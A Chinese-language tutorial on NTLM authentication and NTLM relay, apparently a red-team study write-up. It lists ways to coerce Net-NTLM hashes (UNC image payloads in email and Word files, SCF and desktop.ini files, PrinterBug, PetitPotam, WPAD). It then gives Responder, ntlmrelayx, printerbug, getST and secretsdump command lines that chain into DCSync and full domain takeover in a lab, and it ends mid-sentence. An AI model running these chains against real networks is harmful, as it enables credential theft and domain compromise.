ntlm认证及ntlm relay攻击详解

与NLTM认证相关的安全问题主要有Pass The Hash、利用NTLM进行信息收集、Net-NTLM Hash破解、NTLM Relay几种。

PTH大家都比较熟悉了，运用mimikatz、impacket工具包的一些脚本、CS等等都可以利用，Net-NTLM Hash破解在实战中用到的不多。所以本文主要详细介绍NTLM Relay攻击。

NTLM 认证

windows内部是不保存明文密码的，只保存密码的hash。

其中本机用户的密码hash是放在本地的SAM文件(C:\Windows\system32\config\SAM) 里面，域内用户的密码hash是存在域控的NTDS.DIT文件里面

NTLM HASH计算：

1.先将用户密码转为十六进制格式。

2.将十六进制格式的密码进行Unicode编码。

3.使用MD4对Unicode编码数据进行Hash。

NTLM 认证流程

这里存在两种情况:

1.用户使用本地账户的凭证,服务器在本地数据库中拥有该账户的密码,可以对用户进行验证.

2.在Active Directory中,用户身份验证期间使用域用户,这个时候会要求域控制器对其用户进行验证.

NTLM协议的认证分为三步：

1、协商：主要用于确认双方的协议版本(NTLM v1 or NTLM v2)

2、质询：Challenge/Response

3、验证：验证结果。

完整过程：

质询过程:

1、Client向服务端发送用户信息（用户名）请求，说明自己是谁。

2、Server接受到请求，用户名存在，生成一个16位的随机数（Challenge）发送给Client，使用登陆用户对应的NTLM Hash加密的Challenge（16位随机字符）生成Challenge1。//Net-NTLM Hash= NTLM Hash(Challenge)

3、Client接受到Challenge后，使用对应用户的NTLM Hash加密Challenge生成Response，然后发送给Server。

验证：

Server接收到Client的Respond后，对比Chanllenge1和Respond是否相等，相等则认证通过。

NTLM v1 与NTLM v2

Net-ntlm hash v1的格式为：
username::hostname:LM response:NTLM response:challenge

Net-ntlm hash v2的格式为：
username::domain:challenge:HMAC-MD5:blob

NTLM Relay

概念

NTLM Relay其实严格意义上并不能叫NTLM Relay，而是应该叫 Net-NTLM Relay。它是发生在NTLM认证的第三步，在 Type3 Response消息中存在Net-NTLM Hash，当攻击者获得了Net-NTLM Hash后，可以进行中间人攻击，重放Net-NTLM Hash，这种攻击手法也就是大家所说的NTLM Relay(NTLM 中继)攻击。

进行NTLM Relay攻击有两步：

第一步是获取Net-NTLM Hash
第二步是重放Net-NTLM Hash

在有些文章中，你可能会看到smbrelay、httprelay等等名词，

这里需要注意的是，ntlm是一个嵌入式的协议，消息的传输依赖于使用ntlm的上层协议，比如SMB,LDAP,HTTP等。在ntlm的上层协议是smb的情况下,ntlmrelay就是smbrelay，如果上层协议是http，我们也可以叫做http relay，但是都统称ntlm relay。在本文，我们都统一叫做NTLM Relay

SMB签名

NTLM Relay的一种常见用途是在域中通过relay到smb服务，将管理组成员中继到一些敏感的机器上。

relay到smb服务要求被攻击机器不能开启SMB签名，普通域内机器默认不是开启的，但是域控是默认开启的。

可以用Responder下的RunFinger.py脚本来检测是否开启smb签名：

SMB签名可以在注册表中修改：

Microsoft 网络客户端：对通信进行数字签名 (始终)
注册表项： HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManWorkstation\Parameters
注册表值 ：RequireSecuritySignature
数据类型：REG_DWORD
数据：0 (禁用) ，1 (启用)

Microsoft 网络服务器：对通信进行数字签名 (始终)
注册表项： HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters
注册表值 ：RequireSecuritySignature
数据类型：REG_DWORD
数据：0 (禁用) ，1 (启用)

Ldap签名

除了relay到smb，relay到ldap也是很常用的，比如CVE-2018-8581和CVE-2019-1040就利用到了这一点。relay到ldap也是要求被攻击机器不开启ldap签名的。

在默认情况下，ldap服务器就在域控里面，而且默认策略就是协商签名。而不是强制签名。也就是说是否签名是有客户端决定的。服务端跟客户端协商是否签名。(客户端分情况，如果是smb协议的话，默认要求签名的，如果是webadv或者http协议，是不要求签名的)

本地安全策略->安全选项->网络安全:LDAP 客户端签名要求

获取Net-NTLM Hash

进行NTLM Relay攻击的第一步我们首先要获得这个Net-NTLM Hash值。那么如何能获得这个Net-NTLM Hash值呢？思路是让受害者把 Net-NTLM Hash 自己发送给攻击者，也就是说只要是使用 SMB、HTTP、LDAP、MSSQL 等协议来进行 NTLM 认证的程序，都可以尝试用来向攻击者发送 Net-NTLM Hash

获得Net-NTLM Hash值的思路很多，根据实际情况灵活运用

比如浏览器、office word文档、pdf文档、explorer、系统命令携带UNC路径、XSS、MySQL等。如果新发现一个这类应用程序，或者发现这些程序的一种调用方法，就会多出一种攻击手段。

详细可参考：https://www.anquanke.com/post/id/193493

使用Responder来捕获Net-NTLM Hash。Responder的用法可用参考：https://www.secpulse.com/archives/65503.html

smb请求直接用当前用户名和密码去登录；

http请求，除非该站点的域名位于企业内部网或存在于可信站点列表中，否则都会跳出认证框来让操作者再输入一次。

下面演示几种获取Net-NTLM Hash的方式：

1 利用LLMNR和NBNS来获取Net-NTLM Hash

windows的系统解析顺序为：

1、本地hosts文件:%windir%\System32\drivers\etc\hosts 
2、DNS缓存/DNS服务器 
3、链路本地多播名称解析（LLMNR）和NetBIOS名称服务（NBNS，NetBIOS Name Service）

NBNS 和 LLMNR 是Microsoft针对工作组和域设计的名称解析协议，主要用于局域网中的名称解析。当DNS解析失败时，Windows系统会使用 NetBIOS 和 LLMNR 搜索名称。这些协议只为本地连接设计。NetBIOS 和LLMNR在WindowsVista以后的系统中均实现，二者的主要区别在于：

NetBIOS基于广播，而LLMNR基于多播；
NetBIOS在WindowsNT以后的所有操作系统上均可用，而只有WindowsVista和更高版本才支持LLMNR；
LLMNR还支持IPv6，而NetBIOS不支持，因此，在启用了IPv6，但对IPv6管理不如IPv4那样细致的复杂网络中，就可能发生更广泛的攻击

因此只要用户输入一个不能解析的名称，由于本地hosts文件和DNS均不能正常解析该名称。于是会发送LLMNR/NBNS数据包请求解析，攻击者收到请求后告诉客户端它是该名称并要求客户端发送Net-NTLM Hash进行认证，于是攻击者就可以收到客户端发来的Net-NTLM Hash了。

测试：

responder -I eth0 -rPv

2 利用打印机漏洞获取Net-NTLM Hash

Windows的MS-RPRN协议用于打印客户机和打印服务器之间的通信，默认情况下是启用的。协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx() 调用创建一个远程更改通知对象，该对象监视对打印机对象的更改，并将更改通知发送到打印客户端。任何经过身份验证的域成员都可以连接到远程服务器的打印服务（spoolsv.exe），并请求对一个新的打印作业进行更新，令其将该通知发送给指定目标。之后它会将立即测试该连接，即向指定目标进行身份验证（攻击者可以选择通过Kerberos或NTLM进行验证）。微软表示这个bug是系统设计特点，无需修复。由于打印机是以system权限运行的，所以我们访问打印机RPC，迫使打印机服务向我们发起请求，我们就能拿到目标机器用户的Net-NTLM Hash。

如下，我们执行printerbug.py脚本，使用域内任意用户访问目标机器的打印机服务，此脚本会触发SpoolService Bug，强制Windows主机通过MS-RPRNRPC接口向攻击者进行身份验证。因此我们能收到目标机器向我们发送Net-NTLMHash。

使用Responder监听，就能接收到目标机器发来的Net-NTLM Hash了

3 Outlook

发送邮件是支持html的，而且outlook里面的图片加载路径又可以是UNC。于是我们构造payload：

<p>邮件发送测试...</p>
<img src="\\\\192.168.111.135\\test">

当目标使用的是Windows机器，并且使用的是Outlook客户端打开该邮件的话

我们就能收到目标机器的Net-NTLM Hash。(responder监听)

4 word

新建一个word，然后插入一张图片

用压缩软件打开，进入word_rels，打开document.xml.rels，可以看到Target参数本来是本地的路径

我们修改为UNC路径，然后加上TargetMode=”External”

最后保存。

使用 responder监听，当打开word的时候,我们就拿到net-ntlm hash

5 图标

desktop.ini

每个文件夹底下都有个文件desktop.ini来指定文件夹图标之类的。默认不可见。

我们首先去掉隐藏受保护的操作系统文件就可以看到

创建一个test文件夹，然后修改该文件夹的图标为任何其他

就能在test文件夹下看到desktop.ini文件了

然后我们打开desktop.ini文件将图标路径改成UNC路径，指向我们的服务器

在135机器上用responder监听，当用户访问该文件夹的时候会去访问UNC路径,我们就能获取用户的net-ntlm hash：

scf文件

只要一个文件底下含有scf后缀的文件,由于scf文件包含了IconFile属性，所以Explore.exe会尝试获取文件的图标。而IconFile是支持UNC路径的，所以当打开文件夹的时候，目标主机就会去请求指定UNC的图标资源。于是我们像上面那样修改UNC路径，指向我们的服务器。然后用responder监听

[Shell]
Command=2
IconFile=\\192.168.111.135\scf\scf.ico
[Taskbar]
Command=ToggleDesktop

当用户访问该文件夹的时候会去访问UNC路径,我们就能获取用户的net-ntlm hash：

用户头像

适用于Windows 10/server2016/server2019

在更改账户图片处，输入指定的UNC路径，用responder监听,我们就能抓到目标机器的当前用户的Net-NTLM Hash了

如果是在域内，用普通用户的权限指定一个webadv地址的图片，如果普通用户验证图片通过，那么system用户(域内是机器用户)也会去访问192.168.111.135，并且携带凭据，我们就可以拿到机器用户的Net-NTLM Hash，这个可以用来提权。

6 WPAD

WPAD(Web Proxy Auto-Discovery Protocol) Web代理自动发现协议是用来查找PAC(Proxy Auto-Config)文件的协议，其主要通过DHCP、DNS、LLMNR、NBNS协议来查找存放PAC文件的主机。PAC文件定义了浏览器和其他用户代理如何自动选择适当的代理服务器来访问一个URL，通俗点说就是PAC文件中配置了代理服务器，用户在访问网页时，首先会查询PAC文件的位置，然后获取PAC文件，将PAC文件作为代理配置文件。

浏览器查询PAC文件的顺序如下：

通过DHCP服务器
查询WPAD主机的IP

- Hosts
- DNS (cache / server)
- LLMNR
- NBNS

测试：

配合LLMNR/NBNS

python responder.py -I eth0 -r on -v -F on -w on

当受害者打开浏览器就会请求输入域内账号密码

7 CVE-2023-23397(Microsoft Outlook权限提升漏洞)

Microsoft Outlook权限提升漏洞(CVE-2023-23397)，未经身份验证的远程攻击者可以向受害者发送特制的电子邮件，导致受害者连接到攻击者控制的外部 UNC 位置。这会将受害者的 Net-NTLMv2 hash泄露给攻击者，然后攻击者可以将其中继到另一个服务并作为受害者进行身份验证。

值得注意的是，电子邮件服务器检索和处理电子邮件时（例如在预览窗格中查看电子邮件之前）会自动触发漏洞。此漏洞影响范围极大

8 petitpotam

PetitPotam和PrinterBug调用的接口不一样，但是都可以让域内的服务器发起身份验证

详细参考：

《红队域渗透NTLM Relay：强制认证方式总结》https://forum.butian.net/share/1944

《基于资源的约束委派(RBCD)+printbug petitpotam+cve-2019-1040》

9 DFSCoerce

使用 NetrDfsRemoveStdRoot 和 NetrDfsAddStdRoot 方法进行 MS-DFSNM 强制身份验证的 PoC。

https://github.com/Wh04m1001/DFSCoerce

10 ShadowCoerce

CVE-2022-30154
MS-FSRVP
\pipe\FssagentRpc
IsPathSupported() - IsPathShadowCopied()

攻击原理

MS-FSRVP 是微软的文件服务器远程VSS协议。用于在远程计算机上创建文件共享卷影副本，该协议提供的接口可通过 \pipe\FssagentRpc SMB命名管道获得。
攻击者通过使用一种依赖于远程UNC路径的特定方法来实现强制验证 —— IsPathSupported() 和 IsPathShadowCopied()

条件

目标服务器安装了文件服务器VSS代理服务
开启MS-FSRVP协议
拥有一个域用户凭据信息

11 PrivExchange

攻击原理

在Exchange中，提供了网络服务API - PushSubscription，允许订阅推送通知。Exchange服务器在域中通常有很高的权限（WriteDacl，修改目标ACL的权限），是攻击的不戳目标。

攻击者可以利用该API迫使Exchange服务器对指定目标进行强制认证。

条件：

目标为Exchange，且未打补丁
拥有一个带有邮箱的域用户凭据信息

攻击流程&相关工具

工具地址 - PrivExchange

POC:

https://github.com/api0cradle/CVE-2023-23397-POC-Powershell
https://github.com/sqrtZeroKnowledge/CVE-2023-23397_EXPLOIT_0DAY

利用——重放Net-NTLM Hash

在获取到了目标机器的Net-NTLM Hash后，我们要怎么利用呢？这里有两种利用方式：

使用Hashcat破解Net-NTLM Hash。如果是v1的话，拿到Net-NTLM就相当于拿NTLM HASH.但是在实际中遇到的例子往往不会是v1，而是v2，这个时候密码强度高一点，基本就跑不出来了
Relay Net-NTLM Hash

这里主要讨论Relay Net-NTLM Hash。我们知道，由于NTLM只是底层的认证协议，必须镶嵌在上层应用协议里面，消息的传输依赖于使用NTLM的上层协议，比如SMB、HTTP、LDAP等。因此，我们可以将获取到的Net-NTLM Hash Relay到其他使用NTLM进行认证的应用上。

Relay To SMB

直接Relay到SMB服务器，是最直接简单的方法。可以直接控制该服务器执行任意命令、dump hash等操作

这里根据工作组和域环境，有两种场景：

工作组环境：在工作组环境中，工作组中的机器之间相互没有信任关系，每台机器的账号密码只是保存在自己的SAM文件中，这个时候Relay到别的机器，除非两台机器的账号密码一样，不然没有别的意义了。但是如果账号密码相同的话，为何不直接Pass The Hash攻击呢？因此在工作组环境下，Relay到其他机器不太现实。这个时候的攻击手段就是将机器Relay回机子本身。因此微软在ms08-068中对Relay到自身机器做了限制，严禁Relay到机器自身。CVE-2019-1384(Ghost Potato)就是绕过了该补丁。
域环境：在域环境中，默认普通域用户可以登录除域控外的其他所有机器(但是为了安全，企业运维人员通常会限制域用户登录的主机)，因此可以将Net-NTLM Hash Relay到域内的其他机器。如果是拿到了域控机器的Net-NTLM Hash，可以Relay到除域控外的其他所有机器(为啥不Relay到其他域控，因为域内只有域控默认开启SMB签名)。

工作组

工作组环境下的NTLM Relay实用性比较差，主要涉及MS08-068、Ghost Potato(CVE-2019-1384)两个漏洞，这里简单介绍下

MS08-068

在这之前，当拿到用户的smb请求之后，最直接的就是把请求Relay回用户本身，即Reflect。从而控制机子本身。漏洞危害特别高。微软在kb957097补丁里面通过修改SMB身份验证答复的验证方式来防止凭据重播，从而解决了该漏洞。

防止凭据重播的做法如下:

在在质询过程的第1阶段，主机A访问主机B进行SMB认证的时候，将 pszTargetName 设置为CIFS/B
在第2阶段，主机A拿到主机B发送的Challenge挑战值之后，在lsass进程里面缓存(Challenge,CIFS/B)
在第3阶段，主机B在拿到主机A的认证消息之后，会去查询lsass进程里面有没有缓存(Challenge,CIFS/B)，如果存在缓存，那么认证失败。

因为如果主机A和主机B是不同主机的话，那么lsass进程里面就不会缓存(Challenge,CIFS/B)。如果是同一台主机的话，那lsass里面就会缓存(Challenge,CIFS/B)，这个时候就会认证失败。

Ghost Potato(CVE-2019-1384)

微软为了修复MS08-068发布了kb957097补丁，来防止凭据重播。具体做法在上面已经介绍，然而在KB957097补丁措施里面这个缓存(Challenge,CIFS/B)是有时效性的，这个时间是300秒，也就是说300秒后，缓存(Challenge,cifs/B)就会被清空，这个时候即使主机A和主机B是同一台主机，那么由于缓存已经被清除，那么去lsass里面肯定找不到缓存(Challenge,cifs/B)。CVE-2019-1384就是利用这一点来进行攻击的。

漏洞利用poc：

基于impacket进行修改，实现的效果是在目标机器的启动目录上传指定的文件。该POC会在sleep 315秒之后再发送第三阶段的认证消息，从而绕过了kb957097补丁。

POC：https://shenaniganslabs.io/files/impacket-ghostpotato.zip

只实现的收到http协议的情况。其他协议大家可以自己实现。

测试一下：

attacker: 192.168.111.139victim: 192.168.111.131

攻击机运行如下命令，然后用受害者机器发起http请求：：

python ntlmrelayx.py -t smb://192.168.111.131 -smb2support --gpotato-startup test.txt

等待315秒，即可攻击成功

域环境

impacket下的smbrelayx.py

#在VPS(192.168.111.135)上执行如下命令，攻击192.168.111.131主机，并执行 whoami命令，会监听本地80和445 端口，伪造 http 和 smb 服务./smbrelayx.py -h 192.168.111.131 -c whoami

然后通过钓鱼或者其他手段诱导域管理员或域用户访问了红队人员伪造的 HTTP 或 SMB 服务（下面的两个脚本也是一样），例如：

smb请求直接用当前用户名和密码去登录；

http请求，除非该站点的域名位于企业内部网或存在于可信站点列表中，否则都会跳出认证框来让操作者再输入一次。

此时就 Relay 成功获取到 192.168.111.131 的 system 权限（当然只是 whoami 命令，实战中可以直接远程加载 powershell 或者其他手段反弹 Shell 到 C2）：

impacket下的ntlmrelayx.py

最常用的一个脚本。

python3 ntlmrelayx.py -h    #查看帮助文档python3 ntlmrelayx.py -t smb://192.168.111.131 -c whoami -smb2support

Responder下的MultiRelay.py脚本

该脚本功能强大，通过ALL参数可以获得一个稳定的shell，还有抓密码等其他功能。

python3 MultiRelay.py -hpython3 MultiRelay.py -t 192.168.111.131 -u ALL

在域管机器上触发之后，即可成功获得shell:

Relay To EWS

Exchange认证也支持NTLM SSP的。我们可以relay到Exchange，从而收发邮件，代理等等。在使用outlook的情况下还可以通过homepage或者下发规则达到命令执行的效果。而且这种Relay还有一种好处，将Exchange开放在外网的公司并不在少数，我们可以在外网发起relay，而不需要在内网，这是最刺激的。

关于Relay To EWS详细利用后面展开，主要是使用下面的脚本：

https://github.com/Arno0x/NtlmRelayToEWS

Relay To LDAP

relay到ldap有两个经典的利用：CVE-2018-8581和CVE-2019-1040。我们将在后面详细介绍这两个漏洞。

relay到ldap主要有三个利用思路，在impacket里面的ntlmrelayx都有实现:

1、高权限用户

如果NTLM发起用户在以下用户组

- Enterprise admins- Domain admins- Built-in Administrators- Backup operators- Account operators

那么就可以将任意用户拉进该组，从而使该用户成为高权限用户，比如域管

2、write-acl权限

如果发起者对域有write-acl 权限，那么就可以在域内添加两条acl：

'DS-Replication-Get-Changes'     = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

acl的受托人可以是任意用户，从而使得该用户可以具备dcsync的权限（对域对象只需要具备以上这两个权限，就有dcsync的权限）。

下面两个组里的用户具备write-acl权限：

Exchange Windows PermissionsExchange Trusted Subsystem

Exchange Trusted Subsystem的成员包括Exchange机器用户

也就是说，我们在拿到Exchange机器的http请求的时候，可以将请求Relay到Ldap,然后由于Exchange机器用户具备Write-ACL权限，我们在域内给添加两条acl，acl的受托人可以是任意用户，从而使该用户具备Dcsync的权限。然后dump 域管的hash进行pth，dump kebtgt的hash进行黄金票据，等等。

在后面小节《内网渗透大杀器CVE-2019-1040》漏洞的利用，就是根据这个原理来实现的。

3、普通用户权限

在server2012r2之后，如果没有以上两个权限。可以通过设置基于资源的约束委派。

常见的利用方式为：

RBCD+printbug/petitpotam+CVE-2019-1040

(PetitPotam和PrinterBug调用的接口不一样，但是都可以让域内的服务器发起身份验证)

在有辅助域的内网中，利用以上利用链，就能直接获取到域控的权限。

RBCD+petitpotam+CVE-2019-1040见实践部分的复现

RBCD+printbug+CVE-2019-1040可以看以下文章

https://www.anquanke.com/post/id/194514#h3-10

或者《域委派攻击》笔记，这里不再展开

实践

Exchange+CVE-2019-1040接管全域

怎么搭建复现环境可以参考这篇文章：

https://www.freebuf.com/vuls/274091.html

简单来说，这个利用链，我们通过先打印机漏洞接收到请求机器机器用户的net-ntlm hash（请求机器可以是exchange机器，也可以是域管机器）。获取到net-ntlm hash之后，考虑到都是机器用户发起的请求，机器用户并不能直接登录，所以我们Relay到Ldap。

这里就有了两种情况：

（1）请求机器是exchange机器：根据【Relay To LDAP】一节的描述，我们知道Exchange机器用户具有write-acl权限，可以给任意用户提权，赋予Dcsync的权限，从而dump出所有密码哈希值。（2）请求机器是域管机器：这种情况下，由于他并不在域管组里面、能控制的acl也并不多，我们需要结合基于资源的约束委派来进行攻击。

这里我们选择第一种情况来进行演示分析。

还有一个需要考虑的点就是ldap签名问题：

我们Relay到的服务端是Ldap,在前面【ldap签名】一节提到，Ldap服务器的默认策略是协商签名。是否签名是由客户端决定的。客户端分情况，如果是smb协议的话，默认要求签名的，如果是webadv或者http协议，是不要求签名的

这里我们是通过打印机漏洞获取的net-ntlm hash，发起的请求是Smb协议的请求，这也意味着我们客户端默认是要求签名的。所以我们需要进行绕过，这正是CVE-2019-1040漏洞的利用点。

客户端将签名与否的决定通过ntlm认证中的一个标志位来发送给服务端，因为发起者是smb协议，默认这个标志位为1，服务端会选择进行签名。但是如果我们修改为0的话，又因为微软有一套MIC校验机制，这将更改MIC的值，MIC将无效并且身份验证将失败。而CVE-2019-1040漏洞可绕过NTLM MIC的防护机制，以使我们修改标志位，来让服务器不进行ldap签名。

以下的所有叙述都是以上面描述为前提：

漏洞详情

漏洞概述

2019年6月，Microsoft发布了一条安全更新。该更新针对CVE-2019-1040漏洞进行修复。此次漏洞，攻击者可以通过中间人攻击，绕过NTLM MIC（消息完整性检查）保护，将身份验证流量中继到目标服务器。通过这种攻击使得攻击者在仅有一个普通域账号的情况下可以远程控制 Windows 域内的任何机器，包括域控服务器。

利用条件

A、Exchange服务器可以是任何版本（包括为PrivExchange修补的版本）。唯一的要求是，在以共享权限或RBAC模式安装，Exchange默认具有高权限。
B、域内任意账户。（由于能产生SpoolService错误的唯一要求是任何经过身份验证的域内帐户）
C、CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷，故可以修改NTLM身份验证数据包而不会使身份验证失效。而此攻击链中攻击者删除了数据包中阻止从SMB转发到LDAP的标志。
D、构造请求使Exchange Server向攻击者进行身份验证，并通过LDAP将该身份验证中继到域控制器，即可使用中继受害者的权限在Active Directory中执行操作。比如为攻击者帐户授予DCSync权限。
E、如果在可信但完全不同的AD林中有用户，同样可以在域中执行完全相同的攻击。（因为任何经过身份验证的用户都可以触发SpoolService反向连接）

漏洞利用攻击链

1、使用域内任意帐户，通过SMB连接到被攻击ExchangeServer，并指定中继攻击服务器。同时必须利用SpoolService错误触发反向SMB链接。
2、中继服务器通过SMB回连攻击者主机，然后利用ntlmrelayx将利用CVE-2019-1040漏洞修改NTLM身份验证数据后的SMB请求据包中继到LDAP。
3、使用中继的LDAP身份验证，此时Exchange Server可以为攻击者帐户授予DCSync权限。
4、攻击者帐户使用DCSync转储AD域中的所有域用户密码哈希值（包含域管理员的hash，此时已拿下整个域）。

漏洞复现

复现环境：

DC :      Windows server 2008 R2   192.168.111.134     WIN-1D09BAA27UF.yokan.comyokan.comExchange：Windows Server 2012     192.168.111.135      WIN-A5C3LTTJ4TK.yokan.com          yokan.com攻击机：   Kali  192.168.111.129已获得的普通域用户： justtest  ***************

复现：

①执行ntlmrelayx.py脚本进行NTLM中继攻击，设置SMB服务器并将认证凭据中继到LDAP协议。其中--remove-mic选项用于清除MIC标志，--escalate-user用于提升指定用户权限。

./ntlmrelayx.py --remove-mic --escalate-user justtest -t ldap://192.168.111.134 -smb2support

② 执行printerbug.py脚本，触发SpoolService的bug。

./printerbug.py yokan.com/justtest@192.168.111.135 192.168.111.129

③SpoolService的bug导致Exchange服务器回连到ntlmrelayx.py，即将认证信息发送到ntlmrelayx.py。可以在下图中看到认证用户是YOKAN/WIN-A5C3LTTJ4TK$ 。

接着ntlmrelayx.py开始执行LDAP攻击。

④ 之后，justtest就可以通过secretsdump.py的DCSync功能dump出所有密码哈希值：

也就是说 justtest用户已经具有高权限了。

RBCD+petitpotam+CVE-2019-1040接管全域

利用PetitPotam，可以指定域内的一台服务器，并使其对攻击者选择的目标进行身份验证。

而且在低版本(08和12)的情况下，可以匿名触发，不需要域用户。在16版本以上，就需要指定一个普通域用户账号和密码了。

**复现： **

网文，本地域控是server08，复现不成功。

1、添加计算机账户

python3 addcomputer.py -method SAMR -dc-ip 192.168.164.146 -computer-name rbcd1 -computer-pass 123456 "test.com/user1:Uu1234."

2、开启中继

python3 ntlmrelayx.py -t ldap://192.168.164.146 -debug --delegate-access --escalate-user rbcd1\$ -smb2support --remove-mic

3、触发PetitPotam

python3 Petitpotam.py 192.168.164.128 192.168.164.147

（这里是server2012，不需要指定用户名密码）

PS 如果是server2016以上，触发方式为：

python PetitPotam.py -u user1 -p Uu1234. -d test.com 192.168.164.128 192.168.164.147

4、获取票据
这里我重新搭建了域环境，所以机器名变了

python3 getST.py -dc-ip 192.168.164.146 test/rbcd1\$:123456 -spn cifs/father2.test.com -impersonate administrator

5、加载票据使用

export KRB5CCNAME=administrator.ccachepsexec.py -no-pass -k -dc-ip 192.168.164.147 father2.test.com

secretsdump.py -no-pass -k -dc-ip 192.168.164.147 father2.test.com -just-dc-user test/krbtgt

Outlook+NTLM Relay接管全域

NTLM Relay相关漏洞

除了上面提到的MS08-068、Ghost Potato(CVE-2019-1384)、CVE-2019-1040这几个漏洞，potato提权系列(Hot potato[MS16-075]、Rotten potato&Juict potato 、Bad potato、Sweet potato)、CVE-2018-8581等漏洞也都有应用到了ntlmrelay，下面简单介绍一下

potato提权系列

土豆系列的提权原理主要是诱导高权限访问低权限的系统对象，导致低权限的对象可以模拟高权限对象的访问令牌（Access Token），进而可以用访问令牌创建进程，达到代码执行。

使用前提：

1、获得了SeImpersonate或者SeAssignPrimaryToken权限

可以通过以下命令查看：whoami /priv

2、拿到的是一个服务账号的权限(IISwebshell、sqlshell、mssqlshell)。

Hot potato[MS16-075]：

ntlm relay(http->smb)

Hot Potato是烂土豆作者的第一个发布版本。该漏洞主要通过配合NBNS投毒欺骗和伪造WPAD代理服务器拿到http形式的Net-NTML hash（MS08-068虽然限制了同台主机之间smb到smb的Relay，但是并没有限制从http到smb），所以可以直接relay 到本机的smb。

通过该漏洞可以从主机低用户权限提升至system权限。

Rotten potato&Juicy potato

Juicy potato是RottenPotato的基础上做了扩展，适用条件更广。

实现流程：

1、加载COM，发出请求，权限为System

在指定ip和端口的位置尝试加载一个COM对象RottenPotato使用的COM对象为BITS，CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}可供选择的COM对象不唯一，Juicy Potato提供了多个

2、回应步骤1的请求，发起NTLM认证

正常情况下，由于权限不足，当前权限不是System，无法认证成功

3、针对本地端口，同样发起NTLM认证，权限为当前用户

由于权限为当前用户，所以NTLM认证能够成功完成RottenPotato使用的135端口Juicy Potato支持指定任意本地端口，但是RPC一般默认为135端口，很少被修改

4、分别拦截两个NTLM认证的数据包，替换数据，通过NTLM重放使得步骤1(权限为System)的NTLM认证通过，获得System权限的Token

重放时需要注意NTLM认证的NTLM Server Challenge不同，需要修正

5、利用System权限的Token创建新进程

如果开启SeImpersonate权限，调用CreateProcessWithToken，传入System权限的Token，创建的进程为System权限or如果开启SeAssignPrimaryToken权限，调用CreateProcessAsUser，传入System权限的Token，创建的进程为System权限

Bad potato

又叫PrintSpoofer /PipePotato

这也是一个经典的中继手法。通过Windows named pipe的一个API:ImpersonateNamedPipeClient来模拟高权限客户端的token，调用该函数后会更改当前线程的安全上下文。该漏洞主要利用了打印机组件的BUG，使SYSTEM权限服务能连接到攻击者创建的named pipe。

Sweet potato

com、winrm、spoolsv的合集版本，也就是juicy potato+printspoofer

CVE-2018-8581

漏洞描述：

该漏洞利用了 Exchange 服务器的 SSRF 和高权限的请求，导致拥有合法邮箱凭证的用户可以被提升至域管权限

影响范围：

 Exchange Server 2010 Exchange Server 2013 Exchange Server 2016

利用条件：

Exchange 默认配置下，攻击者拥有合法的邮箱用户凭证，同时，该漏洞利用是通过 NTLM Relay的方式进行提权，因此攻击者需要已经在内网环境中取得可用主机。

漏洞简介：

该漏洞的发生源于几个方面：

首先，Exchange 允许任意用户（只要是通过了认证的）通过 EWS 接口来创建一个推送订阅（Push Subscription），并可以指定任意 URL 作为通知推送的目的地；
其次，通知被订阅推送后，当触发推送时，Exchange 使用了 CredentialCache 类的 DefaultCredentials 属性，由于 EWS 以 SYSTEM 权限运行，当使用 DefaultCredentials 时发出的 HTTP 请求将使用该权限发起 NTLM 认证；
在 EWS 请求中，通过在 Header 中使用 SerializedSecurityContext，指定 SID 可以实现身份伪装，从而以指定用户身份进行 EWS 调用操作。

也就是说【我们可以控制Exchange服务器向我们发起HTTP 协议的NTLM 请求，这样我们就能拿到Exchange机器用户的 Net-Ntlm Hash】

由于该漏洞利用涉及 NTLM 的重放攻击，一种很容易想到的思路就是将该凭证重放到域控机器。由于重放的 NTLM 凭证来自 Exchange 服务器的机器用户权限，根据Relay To LDAP一节的描述，我们知道Exchange机器用户具有write-acl权限，可以给任意用户提权，赋予Dcsync的权限，从而dump出所有密码哈希值。

服务端是否要求签名：